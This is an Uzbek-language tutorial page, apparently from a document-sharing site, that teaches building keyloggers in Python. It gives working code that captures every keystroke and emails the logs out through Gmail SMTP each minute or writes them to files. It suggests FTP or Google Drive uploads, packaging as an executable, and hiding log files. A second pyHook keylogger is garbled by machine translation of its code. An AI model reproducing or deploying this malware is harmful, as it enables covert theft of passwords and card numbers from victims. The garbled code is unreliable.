Axborot texnologiyalari va kommunikatsiyalarin I rivojlantirish vazirligi muhammad al-xorazmiy


Python-da Keyloggerni qanday qilish mumkin



Download 1,02 Mb.
bet7/9
Sana09.02.2022
Hajmi1,02 Mb.
#438409
1   2   3   4   5   6   7   8   9
Bog'liq
doston baxodirov

Python-da Keyloggerni qanday qilish mumkin

Keylogger - bu ma'lum bir kompyuter klaviaturasida terilgan har bir tugmani kuzatish va yozib olish uchun ishlatiladigan kuzatuv texnologiyasining bir turi. Ushbu qo'llanmada siz Python-da keylogger yozishni o'rganasiz.


Sizni qiziqtirgandirsiz, nima uchun keylogger foydali? Xaker (yoki skript bolasi) bundan axloqsiz maqsadlarda foydalansa, u klaviaturada siz kiritgan hamma narsani, jumladan, hisob maʼlumotlaringizni (kredit karta raqamlari, parollar va h.k.) roʻyxatdan oʻtkazadi.
Ushbu o'quv qo'llanmaning maqsadi sizni ushbu turdagi skriptlar haqida xabardor qilish, shuningdek, ta'lim maqsadlarida bunday zararli skriptlarni o'zingiz amalga oshirishni o'rganishdir, keling, boshlaylik!
Bog'liq: Python-da port skaneri qanday qilish kerak.
Birinchidan, biz klaviatura deb nomlangan modulni o'rnatishimiz kerak, terminalga yoki buyruq satriga o'tamiz va yozamiz:
uning moduli sizga klaviaturani to'liq nazorat qilish, global hodisalarni bog'lash, tezkor tugmalarni ro'yxatdan o'tkazish, tugmachalarni bosishni taqlid qilish va boshqa ko'p narsalarni qilish imkonini beradi va bu kichik modul bo'lsa-da.
Shunday qilib, Python skripti quyidagilarni bajaradi:
Orqa fonda tugma bosishlarini tinglang.
Qachonki tugma bosilsa va qo'yib yuborilsa, biz uni global satr o'zgaruvchisiga qo'shamiz.
Har N daqiqada ushbu satr o'zgaruvchisi tarkibini mahalliy faylga (FTP serveriga yoki Google Drive API-ga yuklash uchun) yoki elektron pochta orqali xabar bering.
Kerakli modullarni import qilishdan boshlaylik:

import keyboard # for keylogs


import smtplib # for sending email using SMTP protocol (gmail)
# Timer is to make a method runs after an `interval` amount of time
from threading import Timer
from datetime import datetime

Agar siz asosiy jurnallar haqida elektron pochta orqali xabar berishni tanlasangiz, Gmail hisob qaydnomasini o'rnatishingiz va quyidagilarga ishonch hosil qilishingiz kerak:


Endi parametrlarimizni ishga tushiramiz:

SEND_REPORT_EVERY = 60 # in seconds, 60 means 1 minute and so on


EMAIL_ADDRESS = "thisisafakegmail@gmail.com"
EMAIL_PASSWORD = "thisisafakepassword"
Eslatma: Shubhasiz, siz to'g'ri Gmail hisob ma'lumotlarini kiritishingiz kerak, aks holda elektron pochta orqali xabar berish ishlamaydi.

SE _REPORT_EVERY ni 60 ga o‘rnatish, biz har 60 soniyada (ya’ni, bir daqiqada) keylog‘larimiz haqida xabar berishimizni anglatadi, buni o‘z ehtiyojlaringizga qarab tahrir qilishingiz mumkin.


Keyloggerni taqdim etishning eng yaxshi usuli - bu sinf yaratish va bu sinfdagi har bir usul o'ziga xos vazifani bajaradi:

class Keylogger:


def __init__(self, interval, report_method="email"):
# we gonna pass SEND_REPORT_EVERY to interval
self.interval = interval
self.report_method = report_method
# this is the string variable that contains the log of all
# the keystrokes within `self.interval`
self.log = ""
# record start & end datetimes
self.start_dt = datetime.now()
self.end_dt = datetime.now()

Biz report_method usulini sukut bo'yicha "email" ga o'rnatdik, bu biz elektron pochtamizga keyloglarni yuborishimizni bildiradi, keyinroq "fayl" ni qanday o'tkazishimizni ko'rasiz va u uni mahalliy faylga saqlaydi.


Endi biz klaviaturaning on_release() funksiyasidan foydalanishimiz kerak bo‘ladi, u har bir KEY_UP hodisasi uchun (klaviaturadagi kalitni bo‘shatganingizda) chaqiriladi, bu qayta qo‘ng‘iroq KeyboardEvent nomiga ega bo‘lgan bitta parametrni oladi. atribut , keling, uni amalga oshiramiz:

def callback(self, event):


"""
This callback is invoked whenever a keyboard event is occured
(i.e when a key is released in this example)
"""
name = event.name
if len(name) > 1:
# not a character, special key (e.g ctrl, alt, etc.)
# uppercase with []
if name == "space":
# " " instead of "space"
name = " "
elif name == "enter":
# add a new line whenever an ENTER is pressed
name = "[ENTER]\n"
elif name == "decimal":
name = "."
else:
# replace spaces with underscores
name = name.replace(" ", "_")
name = f"[{name.upper()}]"
# finally, add the key name to our global `self.log` variable
self.log += name
Shunday qilib, kalit bo'shatilganda, bosilgan tugma self.log qator o'zgaruvchisiga qo'shiladi.
Agar biz keyloglarimizni mahalliy faylga xabar qilishni tanlasak, bunga quyidagi usullar javob beradi:
def update_filename(self):
# construct the filename to be identified by start & end datetimes
start_dt_str = str(self.start_dt)[:-7].replace(" ", "-").replace(":", "")
end_dt_str = str(self.end_dt)[:-7].replace(" ", "-").replace(":", "")
self.filename = f"keylog-{start_dt_str}_{end_dt_str}"

def report_to_file(self):


"""This method creates a log file in the current directory that contains
the current keylogs in the `self.log` variable"""
# open the file in write mode (create it)
with open(f"{self.filename}.txt", "w") as f:
# write the keylogs to the file
print(self.log, file=f)
print(f"[+] Saved {self.filename}.txt")
update_filename() usuli oddiy; biz yozilgan sana vaqtlarini olamiz va ularni o'qilishi mumkin bo'lgan satrga aylantiramiz. Shundan so'ng, biz ushbu sanalar asosida fayl nomini yaratamiz, unda biz jurnal fayllarimizga nom berish uchun foydalanamiz.
Keyin biz xabar bergan usulni (bu holda, asosiy jurnallar) amalga oshirishimiz kerak, u uni elektron pochta sifatida yuboradi (bu qanday amalga oshirilishi haqida ko'proq ma'lumot olish uchun ushbu qo'llanmaga tashrif buyuring):

def sendmail(self, email, password, message):


# manages a connection to the SMTP server
server = smtplib.SMTP(host="smtp.gmail.com", port=587)
# connect to the SMTP server as TLS mode ( for security )
server.starttls()
# login to the email account
server.login(email, password)
# send the actual message
server.sendmail(email, email, message)
# terminates the session
server.quit()
Har bir vaqt oralig'idan keyin keyloglar haqida xabar beradigan usul:

def report(self):


"""
This function gets called every `self.interval`
It basically sends keylogs and resets `self.log` variable
"""
if self.log:
# if there is something in log, report it
self.end_dt = datetime.now()
# update `self.filename`
self.update_filename()
if self.report_method == "email":
self.sendmail(EMAIL_ADDRESS, EMAIL_PASSWORD, self.log)
elif self.report_method == "file":
self.report_to_file()
# if you want to print in the console, uncomment below line
# print(f"[{self.filename}] - {self.log}")
self.start_dt = datetime.now()
self.log = ""
timer = Timer(interval=self.interval, function=self.report)
# set the thread as daemon (dies when main thread die)
timer.daemon = True
# start the timer
timer.start()

Shunday qilib, biz self.log o'zgaruvchisida biror narsa bor yoki yo'qligini tekshiramiz (foydalanuvchi o'sha davrda biror narsani bosgan), agar shunday bo'lsa, mahalliy faylga saqlash yoki elektron pochta orqali yuborish orqali xabar bering.


Va keyin biz intervalni (ushbu o'quv qo'llanmada men uni 1 daqiqa yoki 60 soniyaga qo'yganman, uni o'z ehtiyojlaringizga moslashtiring) va self.report() funksiyasini Timer() sinfiga o'tkazdik va keyin qo'ng'iroq qiling. start() usulini demon ipi sifatida o'rnatganimizdan so'ng.
Shunday qilib, biz joriy qilgan usul klavishlarni bosishlarni elektron pochtaga yuboradi yoki uni mahalliy faylga saqlaydi (report_method asosida) va o'zini rekursiv ravishda har self.interval soniyada alohida mavzularda chaqiradi.
Keling, on_release() usulini chaqiradigan usulni aniqlaymiz:
def start(self):
# record the start datetime
self.start_dt = datetime.now()
# start the keylogger
keyboard.on_release(callback=self.callback)
# start reporting the keylogs
self.report()
# block the current thread, wait until CTRL+C is pressed
keyboard.wait()

Ushbu start() usuli biz sinfdan tashqarida qo'llaniladigan usuldir, chunki bu asosiy usul bo'lgani uchun biz oldindan belgilangan qayta qo'ng'iroq() usulini o'tkazish uchun keyboard.on_release() usulidan foydalanamiz.


Shundan so'ng, biz alohida oqimda ishlaydigan self.report() metodimizni chaqiramiz va nihoyat joriy oqimni blokirovka qilish uchun klaviatura modulidan wait() usulidan foydalanamiz, shuning uchun biz CTRL+C tugmalari yordamida dasturdan chiqishimiz mumkin.
Biz asosan Keylogger klassi bilan tugatdik, endi qilishimiz kerak bo'lgan narsa biz yaratgan ushbu sinfni yaratishdir:

if __name__ == "__main__":


# if you want a keylogger to send to your email
# keylogger = Keylogger(interval=SEND_REPORT_EVERY, report_method="email")
# if you want a keylogger to record keylogs to a local file
# (and then send it using your favorite method)
keylogger = Keylogger(interval=SEND_REPORT_EVERY, report_method="file")
keylogger.start()

Agar siz hisobotlarni elektron pochta orqali olishni istasangiz, biz report_method="email" mavjud bo'lgan birinchi misolni izohdan olib tashlashingiz kerak. Aks holda, agar siz joriy katalogga fayllar orqali keyloglar haqida xabar bermoqchi bo'lsangiz, ikkinchisidan foydalaning, report_method "fayl" ga o'rnatiladi.


Elektron pochta xabarlaridan foydalangan holda skriptni bajarganingizda, u sizning klavishlaringizni yozib oladi, har bir daqiqadan so'ng u barcha jurnallarni elektron pochtaga yuboradi, sinab ko'ring!
Bir daqiqadan so'ng elektron pochtamga nima keldi:
Keylogger natijalarBu men o'sha davrda shaxsiy klaviaturamda bosgan narsam ediUni report_method="file" (standart) bilan ishga tushirganingizda, har daqiqadan so'ng joriy katalogdagi jurnal fayllarini ko'rishni boshlashingiz kerak:

Va siz konsolda shunday chiqishni ko'rasiz:

[+] Saved keylog-2020-12-18-150850_2020-12-18-150950.txt


[+] Saved keylog-2020-12-18-150950_2020-12-18-151050.txt
[+] Saved keylog-2020-12-18-151050_2020-12-18-151150.txt
[+] Saved keylog-2020-12-18-151150_2020-12-18-151250.txt
...
Xulosa
Endi siz buni tarmoq bo'ylab jurnal fayllarini yuborish uchun kengaytirishingiz mumkin yoki ularni diskingizga yuklash uchun Google Drive API-dan foydalanishingiz mumkin yoki hatto ularni FTP serveringizga yuklashingiz mumkin.
Bundan tashqari, hech kim .py faylini ishga tushira olmagani uchun siz ushbu kodni Pyinstaller kabi ochiq kodli kutubxonalar yordamida bajariladigan faylga yaratishingiz mumkin.
Ogohlantirish: E'tibor bering, men ushbu kodni siz ruxsatingiz bo'lmagan kompyuterda ishlatish uchun javobgar emasman, undan foydalanish xavfi o'z zimmangizda!


Pythonda oddiy keylogger yaratish

Avval Python-ni yuklab olishingiz va o'rnatishingiz kerak.



Pythonda oddiy keylogger
Python-ni o'rnatganingizdan so'ng, siz "pyHook" va "pywin32" modullarini o'rnatishingiz kerak. Ushbu saytda siz Windows va boshqa operatsion tizimlar uchun 32 va 64 bitli versiyalarni topasiz. Siz o'rnatgan Python va Windows versiyalariga (32 bit yoki 64 bit) muvofiq "PYhook" va "pyWin32" ni yuklab oling.

Python-da keylogger. PYhook moduli
Python-da keylogger. PyWin32 moduli
Yuklab olingandan so'ng, boshlash menyusidan IDLE (Python GUI) menyusini o'rnating va oching.
Pythonda oddiy keylogger
"Fayl" menyusiga o'ting va "Yangi fayl" bandini bosing. Keyin keylogger kodini joylashtiring:
#Nomi: QUAZAR
#Veb-sayt: www.site
pyHook, pythoncom, sys, loggingni import qiling
file_log = "C: keyloggerlog.txt"
def OnKeyboardEvent (voqea):
logging.basicConfig (fayl nomi = file_log, daraja = logging.DEBUG, format = "% (xabar) s")
chr (event.Ascii)
logging.log (10, chr (event.Ascii))
Qaytish Haqiqat
hooks_manager = pyHook.HookManager ()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard ()
pythoncom.PumpMessages ()
Va Keylogger.pyw fayliga nom berish orqali uni saqlang. Faylni nusxalash va o'chirish uchun administrator huquqlariga ega bo'lishingiz kerak bo'lgan faylni ildiz C: katalogiga saqlamang. Fayllarni nusxalash va Keylogger.pyw faylini saqlash uchun sizga administrator huquqlari kerak bo'lmagan C: diskingizda yoki boshqa joyda yangi jild yarating.
Hisobotning chiqish fayli sifatida "file_log =" C: keyloggerlog.txt "siz istalgan joyni tanlashingiz mumkin, lekin bu yaxshi, albatta, qattiq diskdagi ba'zi yashirin joy. Ushbu misolda men hisobot faylini C: ildiz katalogidagi diskda saqlayman. Menda yashiradigan hech narsa yo'q.



Download 1,02 Mb.

Do'stlaringiz bilan baham:
1   2   3   4   5   6   7   8   9




Ma'lumotlar bazasi mualliflik huquqi bilan himoyalangan ©hozir.org 2024
ma'muriyatiga murojaat qiling

kiriting | ro'yxatdan o'tish
    Bosh sahifa
юртда тантана
Боғда битган
Бугун юртда
Эшитганлар жилманглар
Эшитмадим деманглар
битган бодомлар
Yangiariq tumani
qitish marakazi
Raqamli texnologiyalar
ilishida muhokamadan
tasdiqqa tavsiya
tavsiya etilgan
iqtisodiyot kafedrasi
steiermarkischen landesregierung
asarlaringizni yuboring
o'zingizning asarlaringizni
Iltimos faqat
faqat o'zingizning
steierm rkischen
landesregierung fachabteilung
rkischen landesregierung
hamshira loyihasi
loyihasi mavsum
faolyatining oqibatlari
asosiy adabiyotlar
fakulteti ahborot
ahborot havfsizligi
havfsizligi kafedrasi
fanidan bo’yicha
fakulteti iqtisodiyot
boshqaruv fakulteti
chiqarishda boshqaruv
ishlab chiqarishda
iqtisodiyot fakultet
multiservis tarmoqlari
fanidan asosiy
Uzbek fanidan
mavzulari potok
asosidagi multiservis
'aliyyil a'ziym
billahil 'aliyyil
illaa billahil
quvvata illaa
falah' deganida
Kompyuter savodxonligi
bo’yicha mustaqil
'alal falah'
Hayya 'alal
'alas soloh
Hayya 'alas
mavsum boyicha


yuklab olish